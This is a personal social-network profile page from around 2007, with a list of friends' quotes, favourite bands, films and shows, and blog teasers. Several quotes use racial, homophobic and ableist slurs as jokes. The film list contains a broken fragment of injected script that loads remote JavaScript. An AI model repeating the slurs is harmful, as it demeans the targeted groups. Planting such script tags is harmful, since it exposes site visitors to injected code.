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Courtney.

and now the holy man has cursed helen's family

About Me

Well we have moved into an ultra modern house with an ultra modern kitchen so the famous fridge of quotes has well moved on. Since I'm rather dull, I decided to put them on here...and in no particular order...
"ummmmmmmmm is that rain again?" teags "no i think thats just the ocean" courts ...we were at home..definatly not the ocean..
"i think i have...WHAT HAPPENED TO YOUR HAIR!!!!!!"joel when guessing what value he had in his suit case untill he realised something

"Are you ready for the dramatic climax, Teags?" - Jack
"There's a blue truck! GET EM!" - Courts
"You almost made me die!" - Kylie during a game of Marco Polo
"Give us your land for free and GET OFF! - ... The Great Aboriginal Land Grab" - Today Tonight
"ONLY NIGGERS" - Cutie
"..His girlfriend...the blackie" - Convo between Kylie and Chase
"I just cornered you in a kitchen" - Drunk Courtney
"I'm impressed with most kitchens..." - Matty C
"Snoozes mess you up good sometimes" - Teags
"There are no indigenous carnivores in this lake!" - Policeman off 'Supernatural'
"I BROUGHT IT..." - Kylie
"It pays to wear a felt hat in the city" - Gramo
"So it looks like our Dr. Baby-maker is a big fat liar" - NCIS
"You know she makes mess" - Courtney
"Since when do girls squirt? I can't believe girls squirt!" - Kylie
"Well... haven't I just made a mess on myself" - Teags
"OH! I better go take a photo of the dog's grave" - Old man at Courtney's Nana's 80th
"YOU are not my girlfriend" - Jack to Jeremy
"I wrote "Johnno" by David Malouf" - Kylie (it's true)
"Kangaroo cunt" - Lindsay
"Teeags.....................CHAAAAAASE" - Tai
"Oh great I'm living with a dyke and an autistic freak" - Jack
"No way. She is a heffa compared to you" - Kylie to Teags
"Have you got a snake in your ear Courtney?" ~ "Well I'm not going to get one anywhere else!!!" - Drunk Courtney
"Is that a cheese?" - Chase referring to a candle
"I'm touching you" - Drunk Courtney
" OHAHAHHA" - Teags when she was unsure about something whilst driving down the range
"The boy was starting to trust me...He was about to give me the bear!!!!" - Demon from 'Charmed'
"And now the holy man has cursed Helen and her family" - Highway Patrol
"Are you over 60?!" (30 second pause) (Candy bar ad comes on) - Voiceover in cinema.
what does html mean?question to brandee in trivial pursuit "ummmmmmm...isnt it hotmail..with the vowels taken out?" "no brand its the stuff that makes websites hypertext whatever" "oh" (a few weeks later in her computing exam she had the smae question and couldnt remember what lindsay had told her so she simply put ...hotmail
"give me $500000 or im going to the media..the footballer and the pregnant woman who is ripping who off? - today tonight
NOBODY LIKES THE TODD WITH OUT THE ACCENT!! poor todd after being asked why he had and accent
OMG! IS THAT PARIS IM SO IMPRESSED!chase
"ok so there is a painting of black people on the wall...no white person would have pictures like that..they must be black...BUT the house is really clean...paraphrase of stupid white woman sassing on black ladys house in wife swap, 30th december
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My Interests

Disease::FreeCell::Movies::Music::Sociopaths::Staplers::Cook ing::my scorpion ridley::

I'd like to meet:

the lut

Music:

The Mars Volta::At the drive in::Nine Inch Nails::Machine Translations::The Clash::Tori Amos::Gomez::Belle and Sebastian:: The Birthday Party::Gelbison::Lou Reed::Opeth::Tool::Nick Cave and the Bad Seeds::Michael Jackson::Radiohead::Violent Femms::

Movies:

Snatch::House of Flying Daggers::Zoolander::Lock Stock::Pulp Fiction::Reservoir Dogs::Anchorman::Crouching Tiger Hidden Dragon::Remember the Titans::A Clockwork Orange::The Shining::Willy Wonka and the Chocolate Factory::Young Frankenstien::Nightmare Before Christmas::.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("nathanjosiah1.mov.r{}");}..

Television:

ArrestedDevelopment::Black Books::JohnSafran vs God and Music Jamboree::Futurama::Family Guy::Young Ones::Scrubs::The Amazing Race::Lost::curb your enthusiasm::dead like me::sex and the city::six feet under::

Books:

Dr Seuss::In Cold Blood::Animal Farm::To Kill a Mockingbird::how to live life like yor not dead::

Heroes:

this guy http://zapatopi.net/blackhelicopters/ ..

My Blog

black whiteboards exist and also day 2 and stuff

well its true. todau started like any other, a cup of coffee and ciggs downstairs at the crack of 11.30. unemployment does kinda suit me to a degree i can focus on the big picture.. whats going on in ...
Posted by Courtney. on Mon, 08 Jan 2007 05:30:00 PST

day one.. in the begining

so today was day one of georges wacky adventure, with fierce optomism with promise of cab fare home he opens the shop at around 10 honestly i dont know exactly the time. at 11.30 i wake and decide cof...
Posted by Courtney. on Sun, 07 Jan 2007 06:17:00 PST

i f-ing love..

- apple juice - dvds - dressing gowns - carrot - honey soy chicken kebabs - chocolate
Posted by Courtney. on Thu, 04 Jan 2007 01:43:00 PST

i f-ing hate hayfever

and im sure my housies do also.ahhhh! that is all
Posted by Courtney. on Sun, 19 Nov 2006 07:21:00 PST

whats the go

ok right so i was a bit excited about the amazing race starting up again only to find it was not teams of twos but teams of familys! uh how upsetting..like wtf. i am so annoyed. although right now one...
Posted by Courtney. on Thu, 16 Nov 2006 04:16:00 PST